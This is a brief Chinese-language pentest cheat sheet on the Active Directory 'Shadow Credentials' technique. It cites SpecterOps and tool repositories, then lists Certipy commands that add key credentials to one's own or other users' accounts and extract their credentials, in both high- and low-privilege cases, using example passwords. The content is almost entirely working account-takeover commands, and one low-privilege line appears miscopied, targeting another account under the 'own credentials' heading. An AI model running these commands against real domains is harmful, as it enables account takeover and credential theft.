Shadow Credentials

前言：Shadow Credentials笔记

参考文章：https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
参考文章：https://github.com/dirkjanm/PKINITtools
参考文章：https://github.com/Dec0ne/ShadowSpray
参考文章：https://github.com/ly4k/Certipy
参考文章：https://forum.butian.net/index.php/share/1607

高权限情况Shadow Credentials

自身添加Shadow Credentials

certipy shadow add -u administrator@zpchcbd.com -p admin@123123

对其他用户添加Shadow Credentials

certipy shadow add -u administrator@zpchcbd.com -p admin@123123 -account alimaomao

通过Shadow Credentials获取自身凭证

certipy shadow auto -u administrator@zpchcbd.com -p admin@123123

通过Shadow Credentials获取其他用户凭证

certipy shadow auto -u administrator@zpchcbd.com -p admin@123123 -account alimaomao

低权限情况Shadow Credentials

自身添加Shadow Credentials

certipy shadow add -u alimaomao@zpchcbd.com -p admin@123

对其他用户添加Shadow Credentials

certipy shadow add -u alimaomao@zpchcbd.com -p admin@123 -account alimama

通过Shadow Credentials获取自身凭证

certipy shadow auto -u alimaomao@zpchcbd.com -p admin@123 -account alimama

通过Shadow Credentials获取其他用户凭证

certipy shadow auto -u alimaomao@zpchcbd.com -p admin@123 -account alimama